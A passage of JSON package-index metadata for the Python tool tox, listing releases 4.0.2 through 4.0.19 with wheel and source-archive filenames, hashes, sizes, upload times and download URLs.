544202b992998526bb0b241f4aff8","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":141805,"upload_time":"2022-12-15T00:30:20","upload_time_iso_8601":"2022-12-15T00:30:20.876191Z","url":"https://files.pythonhosted.org/packages/29/9e/3faf849be0b9a521177558f17929f007b3413675716480ab6c5158847c3e/tox-4.0.10-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"b0ae378f610388736308a538c83a964d83d017036f436eaf0d036780a7f406f8","md5":"9ef53af25aa756d002ba632be086a836","sha256":"634700c7033adb72c89706c0afb60d200677642058e63122cc4751b03fe79eaa"},"downloads":-1,"filename":"tox-4.0.10.tar.gz","has_sig":false,"md5_digest":"9ef53af25aa756d002ba632be086a836","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":153313,"upload_time":"2022-12-15T00:30:22","upload_time_iso_8601":"2022-12-15T00:30:22.641957Z","url":"https://files.pythonhosted.org/packages/b0/ae/378f610388736308a538c83a964d83d017036f436eaf0d036780a7f406f8/tox-4.0.10.tar.gz","yanked":false,"yanked_reason":null}],"4.0.11":[{"comment_text":"","core-metadata":{"sha256":"d25af6d2eec788a7dd903f3dd39efec9be6859ecd74a7c262fd214892d5afb62"},"digests":{"blake2b_256":"017988bb2cec8ce17995b6cb106b4e908b109357a1c33e1c9914529e4a747b1d","md5":"985236989402d2436744f2547ca8f436","sha256":"9521447370a375279139e9f80d7ba4ff88bd0407b744e63a33c3bf564cc0f19a"},"downloads":-1,"filename":"tox-4.0.11-py3-none-any.whl","has_sig":false,"md5_digest":"985236989402d2436744f2547ca8f436","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":142060,"upload_time":"2022-12-15T03:10:18","upload_time_iso_8601":"2022-12-15T03:10:18.969559Z","url":"https://files.pythonhosted.org/packages/01/79/88bb2cec8ce17995b6cb106b4e908b109357a1c33e1c9914529e4a747b1d/tox-4.0.11-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"22bc48c9b2864d5229205312ea23f840a2098fb3b17a12c7e59e74d7ffc3f46a","md5":"22d05dc59a80bda26b66fc4c937de870","sha256":"695fc21a276e6a4f11bd6ab25345c1e617353b23195335369365eb0b72129b2a"},"downloads":-1,"filename":"tox-4.0.11.tar.gz","has_sig":false,"md5_digest":"22d05dc59a80bda26b66fc4c937de870","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":153770,"upload_time":"2022-12-15T03:10:20","upload_time_iso_8601":"2022-12-15T03:10:20.772925Z","url":"https://files.pythonhosted.org/packages/22/bc/48c9b2864d5229205312ea23f840a2098fb3b17a12c7e59e74d7ffc3f46a/tox-4.0.11.tar.gz","yanked":false,"yanked_reason":null}],"4.0.12":[{"comment_text":"","core-metadata":{"sha256":"aef836b4239beef9b8b7bff4388b7cf7d2ff6d27e84f471cce3674ee934cb23f"},"digests":{"blake2b_256":"f5e5c2599081a25cee84cdf3268d78e34500e2b9dda6d1476f4ef84f23f6c58d","md5":"2d44b8046bb39fd0a07e376ab4a73e56","sha256":"a22bb3839d3977a7afac924d6fa07fd33ddb0d5d377bedecd9d7069b4a06d53e"},"downloads":-1,"filename":"tox-4.0.12-py3-none-any.whl","has_sig":false,"md5_digest":"2d44b8046bb39fd0a07e376ab4a73e56","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":143464,"upload_time":"2022-12-16T18:30:52","upload_time_iso_8601":"2022-12-16T18:30:52.642497Z","url":"https://files.pythonhosted.org/packages/f5/e5/c2599081a25cee84cdf3268d78e34500e2b9dda6d1476f4ef84f23f6c58d/tox-4.0.12-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"4181392c127a9fc74e765fa24e87e7c00d70520e78d05018cc78fe3266f2fb09","md5":"5836b51657e7fd66d073478520611e4e","sha256":"7c99041b77a0b88f70a61697f6af4c8d3d0c578a6f4b8dfeab4387585d1c7372"},"downloads":-1,"filename":"tox-4.0.12.tar.gz","has_sig":false,"md5_digest":"5836b51657e7fd66d073478520611e4e","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":155861,"upload_time":"2022-12-16T18:30:54","upload_time_iso_8601":"2022-12-16T18:30:54.166418Z","url":"https://files.pythonhosted.org/packages/41/81/392c127a9fc74e765fa24e87e7c00d70520e78d05018cc78fe3266f2fb09/tox-4.0.12.tar.gz","yanked":false,"yanked_reason":null}],"4.0.13":[{"comment_text":"","core-metadata":{"sha256":"0a46383bcb88367aa95a16bc105f9695a51d5770822fbaee8eedfcdc1f36b39e"},"digests":{"blake2b_256":"4f7c236a62b1edda247d9dea66b20fc1142098ac86d73884bf2e945d9c7c0174","md5":"d40cb5a8d7e2142e74436c882714b7b9","sha256":"ce3f3eb90eedd04bdcbd687ca51703ae80c5664b823377e93fcd5e50d6573bd9"},"downloads":-1,"filename":"tox-4.0.13-py3-none-any.whl","has_sig":false,"md5_digest":"d40cb5a8d7e2142e74436c882714b7b9","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":143452,"upload_time":"2022-12-18T02:28:24","upload_time_iso_8601":"2022-12-18T02:28:24.644506Z","url":"https://files.pythonhosted.org/packages/4f/7c/236a62b1edda247d9dea66b20fc1142098ac86d73884bf2e945d9c7c0174/tox-4.0.13-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d475d78928839460c421a3c80233ae5ca54bf9e8036ef9cd204a4afbff959134","md5":"db7fd47c45e38bbad3df9a5f4fea73cb","sha256":"2830e668374ab1c484964f2d0e3d6f8fcfa170c5c388ec54d47fa359ea996715"},"downloads":-1,"filename":"tox-4.0.13.tar.gz","has_sig":false,"md5_digest":"db7fd47c45e38bbad3df9a5f4fea73cb","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":155949,"upload_time":"2022-12-18T02:28:26","upload_time_iso_8601":"2022-12-18T02:28:26.020539Z","url":"https://files.pythonhosted.org/packages/d4/75/d78928839460c421a3c80233ae5ca54bf9e8036ef9cd204a4afbff959134/tox-4.0.13.tar.gz","yanked":false,"yanked_reason":null}],"4.0.14":[{"comment_text":"","core-metadata":{"sha256":"6019a56d374a7d2841a096766576857c071410fb803bac7210aa62bec37400c2"},"digests":{"blake2b_256":"8f73b19bb728ff8b2fa77dbf63eea7380cc29c1cb4bb789705dee7368b9377c7","md5":"12f48fa113f844015b8e1dc57ec8c925","sha256":"4e7e87ef5d1cf62f2b4413dd5ae5a940b24c0924627783b51c06c0e3d32ce225"},"downloads":-1,"filename":"tox-4.0.14-py3-none-any.whl","has_sig":false,"md5_digest":"12f48fa113f844015b8e1dc57ec8c925","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":143442,"upload_time":"2022-12-18T16:28:34","upload_time_iso_8601":"2022-12-18T16:28:34.361573Z","url":"https://files.pythonhosted.org/packages/8f/73/b19bb728ff8b2fa77dbf63eea7380cc29c1cb4bb789705dee7368b9377c7/tox-4.0.14-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"4b472624a2644b2fff805009a282a79721aff001f20ec603e3f32d750cf0e146","md5":"b00052248c8167bf3cbb40e88516fa83","sha256":"498a53c66ba8c1005d0bbee4fe4c477913d4f27cadd5c00bc972f04ed31f8b19"},"downloads":-1,"filename":"tox-4.0.14.tar.gz","has_sig":false,"md5_digest":"b00052248c8167bf3cbb40e88516fa83","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":156038,"upload_time":"2022-12-18T16:28:36","upload_time_iso_8601":"2022-12-18T16:28:36.125349Z","url":"https://files.pythonhosted.org/packages/4b/47/2624a2644b2fff805009a282a79721aff001f20ec603e3f32d750cf0e146/tox-4.0.14.tar.gz","yanked":false,"yanked_reason":null}],"4.0.15":[{"comment_text":"","core-metadata":{"sha256":"31c44e7fb2b4997f17a99d99b20e2f305c76c53207c0f12b34d80e50a7e9c269"},"digests":{"blake2b_256":"2b532ddbddcc7eb6af75d63ca13f760fc11a55edba748003aeea2e083113f89b","md5":"d6b526483c7adcfc9a828cd52c713eff","sha256":"2ecb6acee1a9e84fbc83c6aa5a8554b8c6e4048f07f4136b5e2669e5566429b1"},"downloads":-1,"filename":"tox-4.0.15-py3-none-any.whl","has_sig":false,"md5_digest":"d6b526483c7adcfc9a828cd52c713eff","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":143537,"upload_time":"2022-12-19T22:46:46","upload_time_iso_8601":"2022-12-19T22:46:46.232580Z","url":"https://files.pythonhosted.org/packages/2b/53/2ddbddcc7eb6af75d63ca13f760fc11a55edba748003aeea2e083113f89b/tox-4.0.15-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"2ecd2a9854543d8f4cde485690177fad791821a10ff45b5b3d380b93a38ddba5","md5":"b67ef54670dafec2f636939492902ef4","sha256":"5017f6717b2199d7864addee5b6f4381517f64b669efe05753e61c80f0f324e9"},"downloads":-1,"filename":"tox-4.0.15.tar.gz","has_sig":false,"md5_digest":"b67ef54670dafec2f636939492902ef4","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":156244,"upload_time":"2022-12-19T22:46:48","upload_time_iso_8601":"2022-12-19T22:46:48.347746Z","url":"https://files.pythonhosted.org/packages/2e/cd/2a9854543d8f4cde485690177fad791821a10ff45b5b3d380b93a38ddba5/tox-4.0.15.tar.gz","yanked":false,"yanked_reason":null}],"4.0.16":[{"comment_text":"","core-metadata":{"sha256":"ac0ac7069d1d14a475e965e83edf42d1c38ea6e428e279154d2f032565b4e0d7"},"digests":{"blake2b_256":"ed7427ab20f5ee82ce8416cb480caf6e8bc053aeeff727cd4ae581f1e60fe5b4","md5":"3dc14c8a133d15e1c891cc04f2e78a30","sha256":"1ba98d4a67b815403e616cf6ded707aeb0fadff10702928f9b990274c9703e9f"},"downloads":-1,"filename":"tox-4.0.16-py3-none-any.whl","has_sig":false,"md5_digest":"3dc14c8a133d15e1c891cc04f2e78a30","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":143944,"upload_time":"2022-12-20T19:11:28","upload_time_iso_8601":"2022-12-20T19:11:28.441667Z","url":"https://files.pythonhosted.org/packages/ed/74/27ab20f5ee82ce8416cb480caf6e8bc053aeeff727cd4ae581f1e60fe5b4/tox-4.0.16-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"60c35f7e855a0a861b9561e535751e0653ce19b4b0af0836dee669ce0c0cf93e","md5":"939415ddf9fe21b33f4bb1f37355768b","sha256":"968fc4e27110defdf15972893cb15fe1669f338c8408d8835077462fb07e07fe"},"downloads":-1,"filename":"tox-4.0.16.tar.gz","has_sig":false,"md5_digest":"939415ddf9fe21b33f4bb1f37355768b","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":156480,"upload_time":"2022-12-20T19:11:30","upload_time_iso_8601":"2022-12-20T19:11:30.145328Z","url":"https://files.pythonhosted.org/packages/60/c3/5f7e855a0a861b9561e535751e0653ce19b4b0af0836dee669ce0c0cf93e/tox-4.0.16.tar.gz","yanked":false,"yanked_reason":null}],"4.0.17":[{"comment_text":"","core-metadata":{"sha256":"204055913fddad1db2cbaf683b28b714d54fddda890f9466121aa06267111d4c"},"digests":{"blake2b_256":"9cbb490eca19c2679884e9f9214c714fe92cdf878d0e5cc2f3096d9c35c06cee","md5":"370bb30e8ebaa343ce3ea51feb17263a","sha256":"75d38f21cd7b7a6b90f199a6f84cc56fa5bec827606c106356a0be832630743f"},"downloads":-1,"filename":"tox-4.0.17-py3-none-any.whl","has_sig":false,"md5_digest":"370bb30e8ebaa343ce3ea51feb17263a","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":143991,"upload_time":"2022-12-26T04:13:47","upload_time_iso_8601":"2022-12-26T04:13:47.909292Z","url":"https://files.pythonhosted.org/packages/9c/bb/490eca19c2679884e9f9214c714fe92cdf878d0e5cc2f3096d9c35c06cee/tox-4.0.17-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"ca87d17a1863aadeb6f1a4e965b361ef5c68a377ff34ae9e108c4d22a59e7b10","md5":"59bd2126635c54911e3647ef638ec4bc","sha256":"ff03d29669ce728a395bf6e4da6c3904787c0d3c982a94df9ba5d05f6c126bc4"},"downloads":-1,"filename":"tox-4.0.17.tar.gz","has_sig":false,"md5_digest":"59bd2126635c54911e3647ef638ec4bc","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":156689,"upload_time":"2022-12-26T04:13:49","upload_time_iso_8601":"2022-12-26T04:13:49.453730Z","url":"https://files.pythonhosted.org/packages/ca/87/d17a1863aadeb6f1a4e965b361ef5c68a377ff34ae9e108c4d22a59e7b10/tox-4.0.17.tar.gz","yanked":false,"yanked_reason":null}],"4.0.18":[{"comment_text":"","core-metadata":{"sha256":"e1635586dca9076b0e6e6eb75fb0733e98a279b937df9fa181586c43f3d9502f"},"digests":{"blake2b_256":"a42a60be3504dab189a700e001d12a5014e080292517b75e0ca53ea86a039dc7","md5":"3cd804f755f0b3dad63d89f8292e4b82","sha256":"2e3fa6d1b5cc09a971848e36d33bea64120dba9009cad5bff1fa8f6a5f367373"},"downloads":-1,"filename":"tox-4.0.18-py3-none-any.whl","has_sig":false,"md5_digest":"3cd804f755f0b3dad63d89f8292e4b82","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":143989,"upload_time":"2022-12-26T17:47:02","upload_time_iso_8601":"2022-12-26T17:47:02.075244Z","url":"https://files.pythonhosted.org/packages/a4/2a/60be3504dab189a700e001d12a5014e080292517b75e0ca53ea86a039dc7/tox-4.0.18-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"46fbc7d68c952feccbd3dfd36ecdba54a424eea0e5d6ca0d9cdb9e9581915e79","md5":"69853554f6979975f4196387b19cc087","sha256":"e862abf5b75aa2d84e087a2f9696b97faf01dff8836515216f0453e951745eee"},"downloads":-1,"filename":"tox-4.0.18.tar.gz","has_sig":false,"md5_digest":"69853554f6979975f4196387b19cc087","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":156742,"upload_time":"2022-12-26T17:47:04","upload_time_iso_8601":"2022-12-26T17:47:04.078693Z","url":"https://files.pythonhosted.org/packages/46/fb/c7d68c952feccbd3dfd36ecdba54a424eea0e5d6ca0d9cdb9e9581915e79/tox-4.0.18.tar.gz","yanked":false,"yanked_reason":null}],"4.0.19":[{"comment_text":"","core-metadata":{"sha256":"524bb19d6b918dd344ddd5cbf3b782894a40168764db3e0935d8f8b3d42d8f4b"},"digests":{"blake2b_256":"70738dd15bef57b50f0ee16b40d18182e94990c6049edd062f7901700fe75cb7","md5":"0004f389a1d9b7dea54bc96ff5699ffe","sha256":"2a51d4fd98a93b24819abbe9327fd759d39da73fb13aec3da954e8cd11f902ff"},"downloads":-1,"filename":"tox-4.0.19-py3-none-any.whl","has_sig":false,"md5_digest":"0004f389a1d9b7dea54bc96ff5699ffe","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":144008,"upload_time":"2022-12-28T15:59:58","upload_time_iso_8601":"2022-12-28T15:59:58.572248Z","url":"https://files.pythonhosted.org/packages/70/73/8dd15bef57b50f0ee16b40d18182e94990c6049edd062f7901700fe75cb7/tox-4.0.19-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"acee3115a77ce5af5ac0c5262bee45bdc2d36c02cad13723d7cec970270ccb59","md5":"34291e282e82d2836095c8f6e83eb116","sha256":"31d95663dc66f8d53fdf0825f1fc931404b1db5380482c5449628f49db767047"},"downloads":-1,"filename":"tox-4.0.19.tar.gz","has_sig":false,"md5_digest":"34291e282e82d2836095c8f6e83eb116","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":156948,"upload_time":"2022-12-28T16:00:00","upload_time_iso_8601":"2022-12-28T16:00:00.263642Z","url":"https://files.pythonhosted.org/packages/ac/ee/3115a77ce5af5ac0c5262bee45bdc2d36c02cad13723d7cec970270ccb59/tox-4.0.19.tar.gz","yanked":false,"yanked_reason":null}],"4.0.2":[{"comment_text":"","core-metadata":{"sha256":"b3a72c5fd72c4ca763ed6a1486a5819d40f85f3e18201aae7a7433151474d166"},"digests":{"blake2b_256":"748c7a937ea0b6dfa86b8b8bf21ce18ec47ca003e7db417df4239739601a792a","md5":"639f5a1cf9e0e87bd41bd627a682ddb3","sha256":"2d3bee4cd9498406d4264a205d5ebd9c40b993769c1c401f69d482ab977e04d3"},"downloads":-1,"filename":"tox-4.0.2-py3-none-any.whl","has_sig":false,"md5_digest":"639f5a1cf9e0e87bd41bd627a682ddb3","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":140757,"upload_time":"2022-12-08T02:16:41","upload_time_iso_8601":"2022-12-08T02:16:41.787227Z","url":"https://files.pythonhosted.org/packages/74/8c/7a937ea0b6dfa86b8b8bf21ce18ec47ca003e7db417df4239739601a792a/tox-4.0.2-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"682e7c9e51c7269a4758c14af68409b92312ed2d7584442a51962cfbd1475c3d","md5":"a31e43c332a271e242b77bc7b84d93fd","sha256":"14a7877da10103608bcd9b49408e620cf86a58231923e9e1f9d97eb791d328b0"},"downloads":-1,"filename":"tox-4.0.2.tar.gz","has_sig":false,"md5_digest":"a31e43c332a271e242b77bc7b84d93fd","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":151707,"upload_time":"2022-12-08T02:16:43","upload_time_iso_8601":"2022-12-08T02:16:43.917782Z","url":"https://files.pythonhosted.org/packages/68/2e/7c9e51c7269a4758c14af68409b92312ed2d7584442a51962cfbd1475c3d/tox-4.0.2.tar.gz","yanked":false,"yanked_reason":null}],"4.0.3":[{"comment_text":"","core-metadata":{"sha256":"4411f3ccf1831fd943da4ddb7172672be76f231b677a994b88f407c61d1088d3"},"digests":{"blake2b_256":"fb473f3dcbd25cd039a4d44997ff89db64db9b54a7700c3144efbdb0c736bb5c","md5":"c2f3184510d01aa0ab58353ef5ab68ee","sha256":"9661644cc970cd52660e0b724d45baffaa300665298b712705aabbda32b2c8bb"},"downloads":-1,"filename":"tox-4.0.3-py3-none-any.whl","has_sig":false,"md5_digest":"c2f3184510d01aa0ab58353ef5ab68ee","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":140896,"upload_time":"2022-12-08T17:21:33","upload_time_iso_8601":"2022-12-08T17:21:33.545681Z","url":"https://files.pythonhosted.org/packages/fb/47/3f3dcbd25cd039a4d44997ff89db64db9b54a7700c3144efbdb0c736bb5c/tox-4.0.3-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"125bb85f8ea319fa2ea2f0f0fbcbe3be272f71b30e5c30926aa117ad93fbf2d2","md5":"abc20433b7ceb3ecf71f66375d633f07","sha256":"e067703550a28ebe010b4f650a16d3efa30340f7ba32016b08759fbb52a6f80c"},"downloads":-1,"filename":"tox-4.0.3.tar.gz","has_sig":false,"md5_digest":"abc20433b7ceb3ecf71f66375d633f07","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":151964,"upload_time":"2022-12-08T17:21:35","upload_time_iso_8601":"2022-12-08T17:21:35.524350Z","url":"https://files.pythonhosted.org/packages/12/5b/b85f8ea319fa2ea2f0f0fbcbe3be272f71b30e5c30926aa117ad93fbf2d2/tox-4.0.3.tar.gz","yanked":false,"yanked_reason":null}],"4.0.4":[{"comment_text":"","core-metadata":{"sha256":"28ebb9a942cdf836404cb1dfd079425566b77607a8cb164040e6d0f0e5d23279"},"digests":{"blake2b_256":"4e9989fc6aaa77c8e0a82d017255e789911c56cb43066f325dec905c5013e4ad","md5":"a499ea3b09362c89ae72154bf8a35c42","sha256":"f07f8ccfc7254c2fe6711903221a81f2a5af2b91c90535bf7eff4d410a0f205d"},"downloads":-1,"filename":"tox-4.0.4-py3-none-any.whl","has_sig":false,"md5_digest":"a499ea3b09362c89ae72154bf8a35c42","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":140729,"upload_time":"2022-12-09T22:18:11","upload_time_iso_8601":"2022-12-09T22:18:11.639081Z","url":"https://files.pythonhosted.org/packages/4e/99/89fc6aaa77c8e0a82d017255e789911c56cb43066f325dec905c5013e4ad/tox-4.0.4-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"bbc3fbf1fc8a0a9966dd6628e9f91e2eb4644276e8c2359554f1a3d8697b1252","md5":"199f1c0635efcb32a60ccd7a6e484d31","sha256":"b6cc2ecdb819a93131f46f1f6079cc3263a893ef021b98da83b53ed31e96dbd8"},"downloads":-1,"filename":"tox-4.0.4.tar.gz","has_sig":false,"md5_digest":"199f1c0635efcb32a60ccd7a6e484d31","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":151716,"upload_time":"2022-12-09T22:18:13","upload_time_iso_8601":"2022-12-09T22:18:13.737230Z","url":"https://files.pythonhosted.org/packages/bb/c3/fbf1fc8a0a9966dd6628e9f91e2eb4644276e8c2359554f1a3d8697b1252/tox-4.0.4.tar.gz","yanked":false,"yanked_reason":null}],"4.0.5":[{"comment_text":"","core-metadata":{"sha256":"4135d7336f03d567546d0d40b240fc22fd090fed5d9a59351936b1898bc1292a"},"digests":{"blake2b_256":"f5dfed6542918f30e473bed64617b22361757b768057d527745db04e2985ef76","md5":"2c7dc9953aebc932960a60de7f49bfb0","sha256":"e71aee9e77646791c00e226301d5ef8d26cf68ac46b1825d3d46ba538518c235"},"downloads":-1,"filename":"tox-4.0.5-py3-none-any.whl","has_sig":false,"md5_digest":"2c7dc9953aebc932960a60de7f49bfb0","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":140892,"upload_time":"2022-12-10T04:00:13","upload_time_iso_8601":"2022-12-10T04:00:13.996932Z","url":"https://files.pythonhosted.org/packages/f5/df/ed6542918f30e473bed64617b22361757b768057d527745db04e2985ef76/tox-4.0.5-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"5b4298a470ccf047e5001c3ef036d534b5b75e8c8cc7c5e036cbc5490c7dc915","md5":"206acf5b67652dac992b6c070ddc4fb0","sha256":"11a2f5e18ac76b544f7006f6959821ec39bfe24e42cbf990fc0e212c1a07d092"},"downloads":-1,"filename":"tox-4.0.5.tar.gz","has_sig":false,"md5_digest":"206acf5b67652dac992b6c070ddc4fb0","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":151968,"upload_time":"2022-12-10T04:00:16","upload_time_iso_8601":"2022-12-10T04:00:16.442333Z","url":"https://files.pythonhosted.org/packages/5b/42/98a470ccf047e5001c3ef036d534b5b75e8c8cc7c5e036cbc5490c7dc915/tox-4.0.5.tar.gz","yanked":false,"yanked_reason":null}],"4.0.6":[{"comment_text":"","core-metadata":{"sha256":"268c0231f5b4c397c395db1b0fb8539ffe30b55afc9eebebd45a1eb5c7435678"},"digests":{"blake2b_256":"4304ddc23a2798057b7797c62bd3f164c1538985d842904e32ae7872db91a21c","md5":"cf8ffeda7966b6345a9c34e6cbdd41d6","sha256":"69a991d22bdddf3ac168041dfa03ed29753dca35a72ee79722e7486a54eda2da"},"downloads":-1,"filename":"tox-4.0.6-py3-none-any.whl","has_sig":false,"md5_digest":"cf8ffeda7966b6345a9c34e6cbdd41d6","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":141059,"upload_time":"2022-12-11T03:16:58","upload_time_iso_8601":"2022-12-11T03:16:58.587814Z","url":"https://files.pythonhosted.org/packages/43/04/ddc23a2798057b7797c62bd3f164c1538985d842904e32ae7872db91a21c/tox-4.0.6-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d79addcdf3fff5d0503d527593e134551e951e47e1a622ecbb0038b9fa1012ff","md5":"f52f26adb70732c312d43d23375f7b42","sha256":"25fe4a5f4eb28b3b1ff672a48571f1adb4e9410221089fb52fb5ac6df473b963"},"downloads":-1,"filename":"tox-4.0.6.tar.gz","has_sig":false,"md5_digest":"f52f26adb70732c312d43d23375f7b42","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":152342,"upload_time":"2022-12-11T03:17:00","upload_time_iso_8601":"2022-12-11T03:17:00.519337Z","url":"https://files.pythonhosted.org/packages/d7/9a/ddcdf3fff5d0503d527593e134551e951e47e1a622ecbb0038b9fa1012ff/tox-4.0.6.tar.gz","yanked":false,"yanked_reason":null}],"4.0.7":[{"comment_text":"","core-metadata":{"sha256":"e4b9df93adb4b3a76bf7b569fadb6d215f78d2ca88d73fdaf03095eb9f3b478b"},"digests":{"blake2b_256":"88f524db860e13e1bba5e336705a2be652fefbf46fa4303744a411263a2881a7","md5":"32d8d6c288a762175fa7f31555eaa1a1","sha256":"0bc068c56dfcb7b18c6ea94351df388f2efeb1c2e71e1e2cbce197046b75b3d6"},"downloads":-1,"filename":"tox-4.0.7-py3-none-any.whl","has_sig":false,"md5_digest":"32d8d6c288a762175fa7f31555eaa1a1","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":141342,"upload_time":"2022-12-11T18:18:19","upload_time_iso_8601":"2022-12-11T18:18:19.516707Z","url":"https://files.pythonhosted.org/packages/88/f5/24db860e13e1bba5e336705a2be652fefbf46fa4303744a411263a2881a7/tox-4.0.7-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"cf0fb51aad4ad87f846a21e6f23b91665dc726acecb7f0af7c2a2ff6ca67f3b8","md5":"de2cdfe072cf0298f815189b5ecb5a6b","sha256":"7128217e779b8243a55a15d6fd1ebeb71bae54bb359d888e06cbb21286abadd5"},"downloads":-1,"filename":"tox-4.0.7.tar.gz","has_sig":false,"md5_digest":"de2cdfe072cf0298f815189b5ecb5a6b","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":152591,"upload_time":"2022-12-11T18:18:21","upload_time_iso_8601":"2022-12-11T18:18:21.311189Z","url":"https://files.pythonhosted.org/packages/cf/0f/b51aad4ad87f846a21e6f23b91665dc726acecb7f0af7c2a2ff6ca67f3b8/tox-4.0.7.tar.gz","yanked":false,"yanked_reason":null}],"4.0.8":[{"comment_text":"","core-metadata":{"sha256":"c803b02bc3dc894e53c9c6b56aa87b57532eadf3020b0968666279fa156bffb0"},"digests":{"blake2b_256":"b04725436c62799813df72735d782450bcd16ef8da3ff38e3f477efba200705b","md5":"ba57349d91391736cf5742cf8784ca4e","sha256":"da0899154e8b38e807a74adb53c331efc05a5790e4a717f9bd2e7c80c8e04c48"},"downloads":-1,"filename":"tox-4.0.8-py3-none-any.whl","has_sig":false,"md5_digest":"ba57349d91391736cf5742cf8784ca4e","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":141415,"upload_time":"2022-12-11T20:11:38","upload_time_iso_8601":"2022-12-11T20:11:38.473987Z","url":"https://files.pythonhosted.org/packages/b0/47/25436c62799813df72735d782450bcd16ef8da3ff38e3f477efba200705b/tox-4.0.8-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"fcb5a72a533fa98b980c3fa4cae42414f9419937b8c7a1170c9f426551b93668","md5":"c7d6319bea3668773e0c504b8ce47f31","sha256":"4f282bcdea8abab26ccdfccbdd770899bb9b660b6e0a68814da83b5401ea41d6"},"downloads":-1,"filename":"tox-4.0.8.tar.gz","has_sig":false,"md5_digest":"c7d6319bea3668773e0c504b8ce47f31","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":152755,"upload_time":"2022-12-11T20:11:40","upload_time_iso_8601":"2022-12-11T20:11:40.421563Z","url":"https://files.pythonhosted.org/packages/fc/b5/a72a533fa98b980c3fa4cae42414f9419937b8c7a1170c9f426551b93668/tox-4.0.8.tar.gz","yanked":false,"yanked_reason":null}],"4.0.9":[{"comment_text":"","core-metadata":{"sha256":"8ed766a163c6b92d3102ef3d982178769d5d5949d4cc4274c1eda554506afd40"},"digests":{"blake2b_256":"a4372beeefadf326ee2953c323a53389016c93448fa42b15a502223d0e7c9f19","md5":"96cef1ce605d27b8265b2c37cc27246e","sha256":"4011016470537a80642f2907f5aa08a4ae7e003f45ada1d9c1241cbffbba5d49"},"downloads":-1,"filename":"tox-4.0.9-py3-none-any.whl","has_sig":false,"md5_digest":"96cef1ce605d27b8265b2c37cc27246e","packagetype":"bdist_wheel","python_version":"py3","requires_python":">=3.7","size":141721,"upload_time":"2022-12-13T16:30:56","upload_time_iso_8601":"2022-12-13T16:30:56.778454Z","url":"https://files.pythonhosted.org/packages/a4/37/2beeefadf326ee2953c323a53389016c93448fa42b15a502223d0e7c9f19/tox-4.0.9-py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"6d9f58c525594269b4bcb97fc7aa322e5522fc3e3116ab288522786b8101d0cc","md5":"a6c2807ab59a3cfe54ea38c01e59ce1b","sha256":"847ee62db848ec12cd62ab0b491eec05da4d366d39ed278302fd516d04bc947d"},"downloads":-1,"filename":"tox-4.0.9.tar.gz","has_sig":false,"md5_digest":"a6c2807ab59a3cfe54ea38c01e59ce1b","packagetype":"sdist","python_version":"source","requires_python":">=3.7","size":153128,"upload_time":"2022-12-13T16:30:58","upload_time_iso_8601":"2022-12-13T16:30: